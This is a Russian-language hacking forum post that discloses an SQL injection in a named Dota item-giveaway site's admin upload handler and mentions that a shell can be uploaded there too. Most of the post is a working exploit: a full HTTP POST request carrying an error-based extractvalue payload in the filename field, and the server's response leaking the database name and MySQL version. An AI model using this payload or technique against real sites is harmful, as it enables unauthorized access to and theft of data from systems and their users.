Показать сообщение отдельно

  #111  
Старый 17.10.2016, 00:26
SooLFaa
Постоянный
Регистрация: 17.03.2014
Сообщений: 530
С нами: 6398966

Репутация: 154


По умолчанию

Скулька в сервисе раздачи шмоток в Доте в запросе Insert при загрузке в имени файла, там же и залиться можно.

через error - based выглядит так

Запрос

Код:
POST /admin/addimg.php HTTP/1.1
Host: dota2h1.ru
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://dota2h1.ru/admin/upload.php
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------271871778025892
Content-Length: 402

-----------------------------271871778025892
Content-Disposition: form-data; name="filename"; filename="' or extractvalue(0x0a,concat(0x0a,(select database()),0x0a, version())) , '"
Content-Type: application/octet-stream

-----------------------------271871778025892
Content-Disposition: form-data; name="upload"

upload
-----------------------------271871778025892--
Ответ

Код:
HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Sun, 16 Oct 2016 20:22:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Location: http://dota2h1.ru/admin/upload.php
Content-Length: 59

1105: XPATH syntax error: '
ideawebf_dota
5.6.27-75.0-log'
 
Ответить с цитированием